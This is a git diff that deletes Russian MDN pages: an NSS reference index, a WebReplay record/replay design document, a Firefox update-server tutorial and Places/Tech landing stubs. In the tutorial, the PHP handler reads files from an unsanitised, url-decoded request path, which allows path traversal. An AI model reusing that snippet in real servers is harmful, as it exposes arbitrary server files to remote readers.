- -{{ languages( { "ja": "ja/FC_Login" } ) }} diff --git a/files/ru/mozilla/projects/nss/reference/index.html b/files/ru/mozilla/projects/nss/reference/index.html deleted file mode 100644 index fefd88af2a..0000000000 --- a/files/ru/mozilla/projects/nss/reference/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: NSS reference -slug: Mozilla/Projects/NSS/Reference -tags: - - NSS - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Projects/NSS/Reference ---- -

  

-

Initial Notes

-
-
    -
  • We are migrating the SSL Reference into the format described in the MDN Style Guide. If you are inclined to help with this migration, your help would be very much appreciated.
  • -
- -
    -
  • Should a particular page require the use of an underscore, please see the documentation for the Title Override Extension.
  • -
-
-

  

-

Building and installing NSS

-

Overview of an NSS application

-

Based on "Overview of an SSL Application" in the SSL Reference.

-

Getting started with NSS

-

Based on "Getting Started With SSL" in the SSL Reference.

-

Data types

-

Based on "Selected SSL Types and Structures" in the SSL Reference.

-

NSS initialization and shutdown

- -

Utility functions

-

Based on "Utility Functions" in NSS Public Functions.

-

Certificate functions

-

Based on Certificate Functions in the SSL Reference and "Certificate Functions" in NSS Public Functions.

- -

Key functions

-

Key Functions

- -

Digital signatures

-

This API consists of the routines used to perform signature generation and the routines used to perform signature verification.

-

Encryption/decryption

-

Hashing

-

Key generation

-

Generate keys, key pairs, and domain parameters.

-

Random number generation

-

This API consists of the two routines used for pseudorandom number generation -- PK11_GenerateRandomOnSlot and PK11_GenerateRandom -- and the two routines used for seeding pseudorandom number generation -- PK11_SeedRandom and PK11_RandomUpdate.

-

PKCS #11 functions

-

Based on PKCS #11 Functions in the SSL Reference and "Crypto Functions" in NSS Public Functions.

- -

SSL Functions

-

Based on "SSL Functions" in the SSL Reference and "SSL Functions" and "Deprecated SSL Functions" in NSS Public Functions.

- -

S/MIME

-

Based on the S/MIME Reference (which only has one written chapter) and "S/MIME Functions" in NSS Public Functions.

-

PKCS #7 functions

-

Based on "Archived PKCS #7 Functions documentation."

-

PKCS #5 functions

-

Password-based encryption

- -

PKCS #12 functions

-

Based on "Archived PKCS #12 Functions documentation." Used to exchange data such as private keys and certificates between two parties.

- -

NSPR functions

-

A small number of NSPR functions are required for using the certificate verification and SSL functions in NSS.  These functions are listed in this section.

-

Error codes

-

Based on "NSS and SSL Error Codes" in the SSL Reference.

-

NSS Environment variables

-

NSS cryptographic module

-

NSS Tech Notes

-

NSS Tech Notes NSS Memory allocation

-

Tools

-

Based on NSS Tools documentation.

-

Based on NSS Tools Man Pages : work in progress

-

{{ languages( { "ja": "ja/NSS_reference" } ) }}

diff --git a/files/ru/mozilla/projects/webreplay/index.html b/files/ru/mozilla/projects/webreplay/index.html deleted file mode 100644 index 62f0a521d3..0000000000 --- a/files/ru/mozilla/projects/webreplay/index.html +++ /dev/null @@ -1,217 +0,0 @@ ---- -title: WebReplay -slug: Mozilla/Projects/WebReplay -translation_of: Mozilla/Projects/WebReplay ---- -

Web Replay --- это проект, позволяющий процессам содержимого Firefox записывать свое поведение, проигрывать его позже и перематывать до предыдущего состояния.  Проигрываемые процессы сохранаяют все то же поведение JS, структуру DOM, изменения графики и большую часть других процессов, возникающих во время записи.  Браузерный JS-дебагер может быть использован для инспектирования и контроля проигрывания. На данный момент поддерживается только для macOS.

- -

Web Replay сейчас находится только в ночной сборке. Он отключен по умолчанию, пока не будет стабилизирован, но может быть включен с помощью devtools.recordreplay.enabled опции. Функция доступна через Tools -> Web Developer меню и с помощью нового интерфейса дебагера доступна при просмотре вкладки записи/проигрывания. Она все еще на стадии pre-alpha, но мы будем рады услышать ваш фидбек в #rr в Slackе или оставьте репорт об ошибке в Bugzilla для Core::WebReplay компоненты.

- -

Существующите и планируеные функции представлены тут.

- -

Архитектура

- -

Проект состоит из нескольких основных частей:

- -
    -
  1. Инфраструктура записи/проигрывания записывает достаточно информации во время записи, чтобы процесс проигрывания мог быть запущен и воспроизведен с тем же наблюдаемым поведением.
  2. -
  3. Интеграция с IPC позволяет процессу проигрывания коммуницировать с процессом chrome с помощью IPDL и разделенной памяти.
  4. -
  5. Инфраструктура перемотки позволяет проигрывать процесс, чтобы восстановить предыдущее состояние, все еще поддерживая общение с процессом chrome.
  6. -
  7. Интеграция с дебагером позволяет дебагеру JS считывать необходимую для него информацию от процесса проигрывания и контролировать выполнение обработки (продолжение/перемотка). Дебагеру не разрешено менять наблюдаемое состояние процесса проигрывания.
  8. -
- -

Record/replay infrastructure

- -

Broadly, reliable record/replay is achieved by controlling for non-determinism in the browser.  This non-determinism originates from two sources: intra-thread and inter-thread.  Intra-thread non-deterministic behaviors are non-deterministic even in the absence of actions by other threads, and inter-thread non-deterministic behaviors are those affected by interleaving execution with other threads, and which always behave the same given the same interleaving.

- -

Intra-thread non-determinism is recorded and later replayed for each thread.  These behaviors mainly originate from system calls (i/o and such).

- -

Inter-thread non-determinism is handled by first assuming the program is data race free: shared memory accesses which would otherwise race are either protected by locks or use APIs that perform atomic operations.  If we record and later replay the order in which threads acquire locks (and, by extension, release locks and use condvars) then accesses on lock-protected memory will occur in the same order.  Atomic variables can be handled by treating reads and writes as if they were wrapped by a lock acquire/release during recording.

- -

It is not enough, however, to just record all these non-deterministic sources and reproduce those behaviors exactly in the replaying process.  The IPC and debugger integration components may behave differently between recording and replaying, or between different replays.  Both of these involve inter-thread communication and calls to non-deterministic APIs, and the resulting non-determinism must be allowed within the replaying process.

- -

Allowed Non-determinism

- -

There is some slop in this design: The replaying process must be non-deterministic enough that the IPC and debugger components work, but not so non-deterministic that observable behaviors are affected.  We resolve this slop by minimizing the tolerated non-determinism: The replaying process must be just non-deterministic enough that the IPC and debugger components work.  In practice, non-deterministic replay is allowed in the following areas:

- -
    -
  1. Heap allocations can be performed by the IPC and debugger components and so can differ between recording and replay.
  2. -
  3. JS compilations and some other internal state are affected by the debugger's presence and which hooks/breakpoints are active, and so can differ between recording and replay.
  4. -
  5. The debugger can allocate GC things, and allocation of other GC things can differ in the debugger's presence. For example, script compilation involves GC thing allocation, and observing changes in an object will change its shape.
  6. -
- -

Relaxing non-determinism here has a number of ripple effects in other areas.  Mainly, pointer values may differ between recording and replay, and the points where GCs occur, and the set of objects collected, may differ.  This non-determinism is prevented from spreading too far with the following techniques:

- -
    -
  1. Different pointer values can affect the internal layout of hash tables.  To prevent this from having an effect on iteration order (and execution behavior) in the table, the main table classes (for now PLHashTable and PLDHashTable) are instrumented so that they always iterate over elements in the order they were added when recording or replaying.
  2. -
  3. Differing GC behavior can cause object finalizers to run at different times.  To prevent this from having an effect on execution behavior, GC finalizers which can affect the recording are instrumented so that the finalizer action is performed at the same time in the replay as it was during the recording.  Even if the associated JS object has not been destroyed yet during the replay, it will never be used again because at this point in the recording it has been finalized.
  4. -
  5. Similarly, GC behavior can cause values read from weak pointers to differ between recording and replay.  If this difference can affect the recording, the weak pointer must be instrumented so that during replay it holds onto its target for the same duration it was held while recording.
  6. -
- -

Recording

- -

A recording content process differs from a normal content process in the following ways:

- -
    -
  1. Calls to certain functions are intercepted by hooking them (rewriting the machine code at their entry points to call a different function with the same signature), including the function used to dispatch mach messages.  When a call or message is intercepted, the wrapped call/message is first performed normally and then it and its outputs are recorded in a data stream for the thread performing the call.  During execution of the wrapped call/message, recording of any inner calls is suppressed, so that they are performed normally without affecting the recording.  The functions which are intercepted are generally at the system call and the system library level.  In general, any function which is not compiled as part of Gecko is fair game.
  2. -
  3. Acquisition order of locks is recorded in a data stream for each lock.  Some locks which are associated with non-deterministic components are not recorded, such as the JS GC and helper threads locks.
  4. -
  5. Accesses on atomic variables/fields are recorded in a global data stream, as if they were all protected by a global lock.  Some atomics are related to non-deterministic components and are excluded from this stream.
  6. -
  7. Threads use file descriptors to wait on locks and notify each other, instead of using the native implementation for locking and condition variables.  At least on Mac, pthreads locks/cvars seem to use a mix of process-local and kernel state, and sometimes don't work correctly after rewinding the process.
  8. -
  9. Some behaviors are changed to simplify recording, in ways that should not affect observable behaviors.  For example, incremental GCs (a non-deterministic component) work by posting events to the main thread (a deterministic component), so for now incremental GCs are disabled.  Many of these behavioral changes should eventually be removable.
  10. -
  11. Graphics rendering is entirely local to the content process.  Instead of communicating via IPC with a Compositor in the UI process, there is a Compositor in the recording process itself which performs the rendering.
  12. -
  13. Some additional instrumentation is performed, per the 'Allowed Non-determinism', section above.
  14. -
  15. The IPC, rewind, and debugger components are all active while recording.  These spawn a number of threads which do not participate in the recording: any events they execute are live.  See the sections below for details on how these affect the process' behavior.
  16. -
- -

To make it easier to ensure that the non-deterministic components do not have an effect on recorded behavior, certain code regions can be marked as disallowing events --- while executing them no thread, lock, or atomic events should be recorded.  This is done in code associated with the non-deterministic components, such as during GC or Ion compilation, to help track down behaviors that should go unrecorded.

- -

Replaying

- -

A replaying content process behaves in the same way as a recording process, except for the following:

- -
    -
  1. The calls and mach messages which were intercepted during recording are also intercepted here.  When a call/message is intercepted, the wrapped call/message is not performed, but rather the results of the call/message are read from the data stream and returned to the caller, emulating the behavior of the call/message.  This requires the process to be deterministic enough that events play out in the same order on each thread between recording and replay.  The data stream should have enough error checking in place that we can immediately detect if the replay has gone out of sync with the recording.
  2. -
  3. The recorded data streams which specify the acquisition order for each lock are read from and used so that locks are acquired in the same order.  When a thread tries to acquire a lock, it first waits until it is next in line to do so.
  4. -
  5. Similarly, atomic accesses which were included in the recording will occur in the same order during replay, as if they were all protected by a single global lock.  Note that while this could potentially be a big drag on performance during both replay and recording, many of the hottest atomics (refcounts, GC counters, and so forth) are associated with non-deterministic components and are not recorded.
  6. -
- -

IPC integration

- -

Communication between the chrome process and a recording or replaying process --- hereafter referred to as the child process --- is managed via a separate middleman content process.  The child process is extended so that it can communicate with the middleman, using a special bidirectional channel and messages separate from IPDL state.

- -

Middleman process

- -

The middleman is the same as a normal content process, except that it spawns and communicates with the child process, and avoids creating any documents itself.  Using the middleman provides the following advantages:

- -
    -
  1. IPDL communication is greatly simplified.  The chrome and middleman processes communicate using the standard browser protocols (PContent, PBrowser, etc.) and implementations for their actors, while the middleman and child processes communicate with their own channel and messages, which is tuned to the demands of the recording/replaying process.
  2. -
  3. The middleman can perform actions that would be extremely difficult to manage in a replaying process without going out of sync with the recording.  This mainly includes running devtools content-side scripts.
  4. -
  5. The middleman can spawn multiple child processes at once, and coordinate their behavior so they run in parallel.  There can be up to one recording child and two replaying children at once.  The advantage of spawning both recording and replaying children is that by switching between different children the middleman can effectively rewind a live recording, then play forward and allow the user to resume interacting with the tab after they have finished inspecting state in the past.  The advantage of using two replaying processes is to provide a smoother experience when rewinding.
  6. -
- -

Recording/replaying process extensions

- -

During initialization the child process spawns a thread that does not participate in the recording --- any IPC or other system calls it performs are live, even when replaying.  This thread sends and receives messages from the middleman.

- -

Messages describe actions the child process is able to do independently from the recording; currently this includes sending graphics updates, taking and restoring process snapshots, and responding to debugger requests.

- -

Rewinding infrastructure

- -

A child process can be rewound to an earlier state in response to a message from the middleman.  After a recording process rewinds, it becomes a replaying process.  Rewinding happens by periodically taking memory snapshots during execution, and then later restoring them.  Care must be taken for efficiency when taking/restoring snapshots and for managing system resources when restoring.

- -

Snapshots

- -

Late in process initialization the first snapshot is taken, which is simply a copy of the stacks/registers for each thread.  Each subsequent snapshot includes copies of thread stacks/registers as well as a diff containing the original contents of all pages of heap and static memory that were modified since the previous snapshot.  Certain memory regions are excluded from snapshots; these memory regions are allocated with a special API and are used for state that needs to be preserved when rewinding.  Snapshot data may be stored in memory or on disk.  Diffs are computed by first setting up an exception handler thread (mac only) very similar to the one used by asm.js.  When taking the first snapshot all addressable memory in the process is enumerated and write-protected, and as faults occur a special exception handler thread unprotects the memory, copies its contents and marks it as dirty.  When the next snapshot is taken, only the dirty memory is examined for any changes vs. the copy made.

- -

This mechanism requires intercepting mmap (or similar low level allocation functions) so that any newly addressable memory is known --- anonymous mappings would not otherwise be intercepted or included in the recording, as heap allocation is non-deterministic while replaying.  mprotect is intercepted and nop'ed to avoid interference with the dirty memory mechanism, and munmap is intercepted with no actual unmapping performed, so that memory does not need to be remapped when restoring a snapshot (a set of free regions is maintained to allow reusing this memory).

- -

All snapshots are taken from the main thread.  Before taking the snapshot, all threads participating in the recording must enter an idle state, waiting on a thread-specific condition variable.  Threads enter this state whenever they are waiting to acquire a lock or perform an atomic action that is part of the recording.  While recording, threads may make blocking calls to libraries (e.g. kevent).  To allow these threads to be snapshotted, the call is instead performed on a separate thread that does not participate in the recording, so that the calling thread may enter the correct idle state even while its progress is blocked on the call completing.  Once all thread are idle, the main thread computes the memory diff, reads the stacks from each thread and their register state (which each thread recorded by calling setjmp before idling).

- -

Restoring snapshots is also done from the main thread.  As for taking a snapshot, all other threads enter an idle state.  The dirty memory information computed since the last snapshot was taken is used to restore the heap to the state at that last snapshot, and then the memory diffs can be used to restore an earlier snapshot if necessary.  Threads are individually responsible for restoring their stacks; when they wake up from the idle state they see the main thread has prepared a new stack to restore to, so they longjmp to the new register state and copy in the new stack's contents.

- -

Managing system resources

- -

When the child process restores a snapshot, the state of any system resources it has open is unchanged.  Care must be taken to make sure these resources are coherent to the process after the restore completes.  This is done in the following ways:

- -
    -
  1. Instead of creating or destroying threads on demand, while recording/replaying all threads which will be needed are created during process initialization.  If during the recording the content tries to create more threads than were spawned up front, then the recording fails.  These threads idle until the recording/replaying content tries to 'create' them, then they run their main function, and after completing it will idle indefinitely.  This ensures that no matter when we create or restore a snapshot, the same set of threads will exist and will have consistent stacks locations.
  2. -
  3. Locks and condition variables are to some extent system resources, and to avoid problems we make sure each thread is waiting on a consistent variable when saving or restoring a snapshot (see section above).
  4. -
  5. IPC integration uses a file descriptor for communicating with the middleman.  This is left alone when restoring a snapshot, so whenever saving or restoring a snapshot they should be in a consistent state for the child process.  Constraints are used for when messages may be sent between the middleman and child process, ensuring that the middleman process cannot send a message at a time when the child process may be rewinding.
  6. -
- -

Debugger integration

- -

When debugging a normal content process, the devtools JS debugger runs quite a bit of JS code in the content process, communicating with the chrome process primarily through streams of JSON data.  When debugging a child content process, this JS code runs in the middleman process.  When the code creates a Debugger object, that Debugger provides information about the child process rather than the current (middleman) process.  While the Debugger can indicate it is for a child process, the interface should be as transparent as possible to the devtools JS code; the Debugger can still create script/object/etc. debug objects, which refer to specific things in the child process.

- -

As with the devtools JS code, this Debugger lives in the middleman process, and instead of wrapping things from another compartment the debug objects hold heap structures with information about some thing in the child process.  The Debugger can explore the heap by sending messages to the child process to fill in the contents of the debug objects it creates.  Whenever the Debugger is interacting with the child process the child process is paused at some point in execution, and the contents of the debug objects are only valid until the middleman notifies the child process that it can resume forward execution or must rewind to an earlier snapshot.  When the child process pauses again (at a breakpoint, say) the debug objects must be reconstructed.

- -

There is an exception to this, for scripts and script source objects; debug objects for these will continue to hold the same referent after resuming or rewinding the replaying process.  This is necessary for script breakpoints to work, and is implemented by ensuring that the ordering of creation of scripts and script sources is deterministic (mainly by disabling off thread parsing, which is one of the behavior changes during recording/replay).

- -

The user's interface to the devtools for a child process is the same as for a normal content process, except that new UI buttons are added for rewinding (find the last time a breakpoint was hit), and for reverse step/step-in/step-out.  For now only JS state can be inspected by the debugger, though extending this to cover DOM inspection and other devtools features should not be too hard.

- -

Unrecordable executions

- -

There are restrictions on the executions that can be recorded.  These should all be detectable during recording, so that we don't attempt to replay an execution we know will not match up with the recording.  The following executions run into fundamental limits of the approach and cannot be replayed:

- -
    -
  1. Executions which throw overrecursion JS exceptions can't be reliably replayed; overrecursion happens at different times depending on how scripts are compiled, which can vary between recording and replaying.
  2. -
  3. Similarly, executions which run out of memory at some point can't be reliably replayed.
  4. -
  5. Executions which are stopped at some point by the slow script dialog can't be reliably replayed.  Keeping track of the exact point where an interrupt occurred would require quite a bit of recording overhead, and it doesn't seem worth it to try to do this.
  6. -
- -

The following executions are unlikely to be supported by the initial release, but should be able to be handled at some point in the future:

- -
    -
  1. On x64, asm.js code relies on mprotect to handle out of bounds heap accesses; mprotect works differently while replaying, so some cooperation will be needed between the asm.js exception handler and the dirty memory exception handler.
  2. -
  3. Shared array buffers can be used by web content to introduce data races to the browser on the contents of those buffers, going against a fundamental assumption of the record/replay infrastructure.  Recording and replaying executions using these buffers will require new techniques like treating all accesses on the buffers as atomic (probably unacceptable overhead) or performing all accesses on the buffer on a single core and keeping track of context switches.
  4. -
  5. DOM workers are not supported yet.  For simplicity, debugger integration is currently only able to handle JS code that runs on the main thread.
  6. -
  7. WebGL is not supported yet, as it uses a pretty different rendering path from normal web content.
  8. -
  9. Media elements are not supported yet, as many of these run third party multithreaded code which hasn't been tested with the infrastructure.
  10. -
- -

Porting

- -

Almost all implementation work so far has been on macOS.  Windows port work is underway, but is not yet working.  The difficulties are in figuring out the set of system library APIs to intercept, in getting the memory management and dirty memory parts of the rewind infrastructure to work, and in handling the different graphics and IPC pathways on different platforms.

- -

Comparison with other projects

- -

There is lots of existing work in this area.  The closest projects are rr, WebKit's replay project, and Microsoft's Time-Travel Debugger.  Compared to rr:

- -
    -
  1. This should work on all platforms and architectures supported by Gecko, though with substantial port work required.
  2. -
  3. This will be part of Gecko itself, rather than a separate tool, which means both that developers won't need additional software to use it and that this can't be used to debug other software.
  4. -
  5. This can use multiple cores during recording and replay.
  6. -
  7. This does not preserve exact behavior. Context switches can occur at different times and data races can lead to different behavior between recording and replay. Data races are bugs in and of themselves, however, so this sort of non-determinism should be fixed regardless.
  8. -
  9. This design allows the replaying process to behave differently from the recording process, which allows for a fairly straightforward implementation of IPC and Debugger integration.
  10. -
- -

Microsoft's and WebKit's replay projects operate at a higher level than rr.  Inputs to the browser and non-deterministic behaviors are recorded so that they can be replayed later.  In Microsoft's project the abstraction layer appears to be the boundary between the JS engine and the rest of the browser, while in WebKit's project the layer appears to be at internal WebKit APIs that can cause JS to run or the behavior of JS code to vary.

- -

Broadly, all of these projects sit on a spectrum: at what level is the boundary between components whose behavior is recorded and the rest of the system?  rr records all behavior in the user space of a process; the boundary is the system calls which are made into the kernel.  This project records all behavior outside of system library calls which the process makes, with exceptions carved out for the allowed non-determinism and for draw targets.  Microsoft's and WebKit's projects record a smaller subset of the browser's behavior.

- -

This project is at a good point on this spectrum.  Compared to a higher level project, this is able to operate on stable, thoroughly documented library APIs.  By focusing on intercepting these APIs, browser instrumentation, recording overhead, and the maintenance burden going forward are all minimized.  Compared to a lower level project, this is able to tolerate more non-determinism.  All code whose behavior is recorded is compiled into Gecko (rather than being part of immutable, usually closed-source libraries) and can be lightly modified to deal with behaviors that function intercepting cannot handle, such as varying hash table layouts and the ordering of atomic accesses.

- -

Appendix: Debugger Details

- -

Here is some more detailed information about how a recording/replaying process affects the debugger, and options for future improvements.

- -

Debugger changes

- -

From the perspective of a devtools server, debugging a recording/replaying process is very similar to debugging a live process.  When execution is paused, the Debugger JS object and its various child objects can be used to inspect the execution state in the same way for a either kind of process.  Here are the main differences:

- -
    -
  1. Explicit commands must be sent to the debugger to control execution.  The replayResumeBackward() and replayResumeForward() members may be called to resume execution, and the replayPause() member may be called to pause execution at the next opportunity.  A child process can only pause at breakpoints and at snapshot points (currently these only happen when graphics updates are performed, at which point there is no JS on the stack).
  2. -
  3. There is a new onPopFrame handler, which is needed when doing reverse-step-in operations.
  4. -
  5. Operations on the debuggee which require interaction with the system will fail.  These operations may be property accesses, evals, or object calls, and an example is accessing the "font" property of a CanvasRenderingContext2D.  Failed operations currently just produce a placeholder "INCOMPLETE" result.
  6. -
  7. Operations on the debuggee which have side effects --- eval("x.f = 3") --- should be avoided.  When the process resumes forward or backward these side effects will be lost (the process reverts to its original state) and while paused at a breakpoint these effects can cause some strange behavior --- after the above eval, getting the x.f property directly could produce a different value from eval("x.f").  While the strange behavior could be fixed (it's due to caching) it would be good to prevent or at least discourage users from performing such effectful operations.
  8. -
  9. The underlying object of a Debugger.Object is inaccessible; object.unsafeDereference is null.
  10. -
  11. As described above under "Debugger integration", child objects besides scripts and script sources become invalid when the debugger resumes execution, and must be reconstructed each time the replaying process pauses.
  12. -
- -

Inspecting a replaying process

- -

Access to JS objects in the replaying process is currently only done through the JS Debugger interface --- Debugger.Object, Debugger.Frame.eval, and so forth.  This interface overlays a separate implementation from the C++ Debugger, implemented in devtools/server/actors/replay/debugger.js.  This communicates with the replaying process via JSON and is fairly easy to extend for new features (such as web console support).

- -

Appendix: Impacts on Gecko Development

- -

Web replay is designed to minimize the places where other parts of Gecko need to know about it or interact with it.  There are, however, areas where Gecko development is impacted by Web Replay.  This section describes the main areas where ongoing development can break Web Replay and cause its tests to fail.  needinfo? :bhackett on Bugzilla with any questions or concerns.

- -

On treeherder, Web Replay tests currently only run on MacOS opt builds, and are prefixed with browser_dbg_rr.

- -

Calls to new library functions

- -

Most non-deterministic behaviors in a recorded/replayed process are captured by redirecting the system library functions which the process calls into --- rewriting their machine code so they invoke a record/replay specific function with the same signature, which records any results of the function and then replays those results later without actually invoking the underlying library function.  Redirected functions include both low level system call wrappers like sendmsg/recvmsg, and higher level functions such as various Cocoa interfaces.  The list of redirected functions can be found in toolkit/recordreplay/ProcessRedirectDarwin.cpp.

- -

When calls are added to Gecko for new system library functions, those functions may need redirections.  In general, redirections are needed for any function that is (a) not compiled as part of Gecko, and either (b) may behave differently between recording and replaying, or (c) depends on data produced by other redirected functions (for example, CoreFoundation types like CFArrayRef and CFStringRef).  A simpler way of telling that a redirection is needed for a function is that the web replay tests crash inside it while replaying.

- -

New redirections can be added to toolkit/recordreplay/ProcessRedirectDarwin.cpp, adding just a few lines for functions with simple interfaces using the various RRFunction macros.  Missing redirections can also be temporarily worked around by avoiding the call when mozilla::recordreplay::IsRecordingOrReplaying().

- -

Recording events in disallowed areas

- -

GC marking and finalization may behave differently when recording and replaying, and recording events for a thread --- calling redirected library functions, using recorded locks or recorded atomics --- is disallowed at these times.  There are some other areas where recorded events are also disallowed, such as during JS interrupt callbacks.  Recording an event in one of these areas will fail a !AreThreadEventsDisallowed() assertion.

- -

These failures usually result from accessing a recorded lock or atomic.  Core xpcom and mozglue lock classes and mozilla::Atomic atomics are recorded by default, but many locks and atomics don't actually need to be recorded in order to correctly replay.  Recording for a lock or atomic can be turned off by specifying recordreplay::Behavior::DontPreserve in either the lock's contructor argument or the atomic's template arguments.

- -

Interactions with the middleman process

- -

When recording or replaying an execution, there is an extra content process involved, the middleman process as described above.  The presence of the middleman requires special handling in IPC internals and some graphics code.  Additionally, IPC channels used to communicate with middleman processes can also communicate with the recording process child of the middleman.  Problems can happen if IPDL actors for a protocol are setup by both the recording and middleman processes, while the UI process only expects to see one such actor.  The usual solution here is to avoid setting up the actor in the middleman process, when mozilla::recordreplay::IsMiddleman().

diff --git a/files/ru/mozilla/setting_up_an_update_server/index.html b/files/ru/mozilla/setting_up_an_update_server/index.html deleted file mode 100644 index 280b4d7d0b..0000000000 --- a/files/ru/mozilla/setting_up_an_update_server/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Setting up an update server -slug: Mozilla/Setting_up_an_update_server -tags: - - корпорация - - сервер обновлений -translation_of: Mozilla/Setting_up_an_update_server ---- -

Создание простейшего сервера обновления Firefox/Thunderbird при помощи Apache и PHP

- -

Цель этого документа заключается в предоставлении основных инструкций по настройке собственного сервера обновлений.

- -

Firefox обеспечивает службы обновления с помощью веб-службы REST - которая содержится в URL при условии наличия XML-файла в этом URL, описывающего доступное обновление.

- -

Во-первых, давайте поговорим о формате URL. Вот URL используемый для обновления Firefox с версии 3.5.2 до Firefox версии 3.5.3:

- -
-
Windows
-
https://aus2.mozilla.org/update/3/Fi...ult/update.xml
-
Mac OS X
-
https://aus2.mozilla.org/update/3/Fi...ult/update.xml
-
- -

Формат URL выглядит так:

- -
https://aus2.mozilla.org/update/3/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/update.xml
-
- -

Этот URL-адрес может отображаться в браузере через about:config как app.update.url, но чтобы изменить его, вы должны создать новую строку под названием app.update.url.override которая содержит ваше новое значение.

- -

В нашем примере, мы должны поместить update.xml на сервере в полном пути, указанном в URL обновлений. Таким образом, в корне вашего веб-сервера, нужно создать путь:

- -
mkdir -p update.dir/3/Firefox/3.5.2/20090729225027/WINNT_x86-msvc/en-US/release/Windows_NT\ 6.0/default/default
-
- -

Взять файл update.xml из aus2.mozilla.org и поместить его в самой последней папке default:

- -
<?xml version="1.0"?>
-<updates>
-    <update type="minor" version="3.5.3" extensionVersion="3.5.3" buildID="20090824101458" detailsURL="http://www.mozilla.com/en-US/firefox/3.5.3/releasenotes/">
-        <patch type="complete" URL="http://download.mozilla.org/?product=firefox-3.5.3-complete&os=win&lang=en-US" hashFunction="SHA512" hashValue="f8abbaea98bd453b651c24025dbb8cea5908e532ca64ad7150e88778ccb77c0325341c0fecbec37f31f31cdf7e13955c28140725282d2ce7c4a37c89a25319a1" size="10728423"/>
-        <patch type="partial" URL="http://download.mozilla.org/?product=firefox-3.5.3-partial-3.5.2&os=win&lang=en-US" hashFunction="SHA512" hashValue="20b133f1bd2025360bda8ef0c53132a5806dbd0606e0fe7c6d1291d1392532cc960262f87b0c7d4fbe8f9bc9fba64ed28ecd89b664c17f51f98acdd76b26ea6a" size="2531877"/>
-    </update>
-</updates>
-
- -

Если вы хотите, чтобы эти сборки были загружены с вашего сервера вместо download.mozilla.org, скопируйте их на сервер и отредактируйте файл  update.xml чтобы изменить ссылки URL.

- -

Далее, мы должны настроить сервер Apache, так чтобы можно было создать файл PHP для обработки веб-службы.

- -

Сначала в  httpd.conf, убедитесь что параметр AllowOverride установлен в значение FileInfo для корневого каталога. Затем добавьте следующие строки в ваш файл .htaccess (вам, возможно, придется создать его) в корневом каталоге:

- -
<FILES update>
-ForceType application/x-httpd-php
-</FILES>
-
- -

Это укажет веб-серверу обработать update в виде файла PHP. Теперь создайте файл PHP с именем update в корневом каталоге:

- -
<?php
-header("Content-type: text/xml");
-$path = preg_replace('/^\/update/', 'update.dir', urldecode($_SERVER["REQUEST_URI"]));
-echo (file_exists($path)) ? file_get_contents($path) : '<?xml version="1.0"?><updates></updates>';
-?>
-
- -

Теперь, если вы идете по следующему адресу, вы должны увидеть содержимое XML.

- -
http://localhost/update/3/Firefox/3.5.2/20090729225027/WINNT_x86-msvc/en-US/release/Windows_NT%206.0/default/default/update.xml
-
- -

Наконец, установите параметр app.update.url.override в следующее значение URL через about:config (или MCD), а затем выберите Проверка обновлений в меню Справка. Вы должны получить обновление, если оно имеется.

- -
http://localhost/update/3/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/update.xml
-
- -

Соображения безопасности

- -

Вы можете заметить, что  URL обновления Firefox по умолчанию использует HTTPS выше и обслуживается поверх SSL. SSL действительно помещает дополнительную нагрузку на сервер, и вы можете захотеть использовать обычный HTTP - нет!

- -

Каждый пользователь будет пинговать сервер обновлений регулярно, есть ли обновление или нет (один раз в день по умолчанию). Любой пользователь, который подключается снаружи защищенной сети - в частности, из общественной точки доступа WiFi - потенциально может подключиться и подложить вредоносное обновление. SSL защищает от этой атаки. Файл update.xml маленькие, не увеличивают нагрузку SSL.

- -

Большие обновления могут быть безопасно обслужены с незащищенного сервера, потому что файлы обновления содержат хэш, который клиент проверять. Хэшу можно доверять, только если update.xml доставляется надежно.

- -

Смотрите также

- - - -

{{ languages( { "ja": "ja/Setting_up_an_update_server" } ) }}

diff --git a/files/ru/mozilla/tech/index.html b/files/ru/mozilla/tech/index.html deleted file mode 100644 index f9682e62e1..0000000000 --- a/files/ru/mozilla/tech/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Mozilla technologies -slug: Mozilla/Tech -tags: - - Landing - - Mozilla - - NeedsTranslation - - Reference - - TopicStub - - XUL -translation_of: Mozilla/Tech ---- -

Mozilla has several technologies used as components of its projects. These are documented here. (flesh out this text).

-

{{LandingPageListSubpages}}

diff --git a/files/ru/mozilla/tech/places/index.html b/files/ru/mozilla/tech/places/index.html deleted file mode 100644 index 261e8beab0..0000000000 --- a/files/ru/mozilla/tech/places/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Places -slug: Mozilla/Tech/Places -tags: - - Add-ons - - Developing Mozilla - - Extensions - - NeedsTranslation - - Places - - TopicStub -translation_of: Mozilla/Tech/Places ---- -

- -

Places is the bookmarks and history management system introduced in Firefox 3. It offers increased flexibility and complex querying to make handling the places the user goes easier and more convenient. It also includes new features including favicon storage and the ability to annotate pages with arbitrary information. It also introduces new user interfaces for managing all this information; see Places on the Mozilla wiki.

- -

Places stores its data in an SQLite database using the mozStorage interfaces.

- - - - - - - - -
-

Documentation

- -
-
Places migration guide
-
Migrating existing code to use the Places API.
-
Manipulating bookmarks using Places
-
Examples for how to work with bookmarks using the Places API.
-
Using the Places tagging service
-
How to use the tagging service.
-
Using the Places history service
-
How to access history information using the Places API.
-
Using the Places favicon service
-
How to manipulate favicons using the Places API.
-
Using the Places livemark service
-
How to create and manage livemarks.
-
Using the Places annotation service
-
How to work with the annotation service.
-
Using the Places keywords API
-
How to manage Places keywords
-
- -
-
Querying Places
-
How to query the bookmarks and history system with specific parameters.
-
Retrieving part of the bookmarks tree
-
How to fetch a section of the bookmarks tree using queries.
-
Displaying Places information using views
-
How to use Places views to display Places data in your own applications or extensions.
-
Places utilities for JavaScript
-
A library of convenient routines that make it easier to work with Places.
-
Places Database troubleshooting
-
How to deal with a corrupt places.sqlite database.
-
- -

View All...

-
- - -
-
The Places database
-
High-level overview of the Places database design.
-
History Service Design
-
Design of the history service.
-
Bookmark Service Design
-
Design of the bookmarks service.
-
Annotation Service Design
-
Design of the annotation service.
-
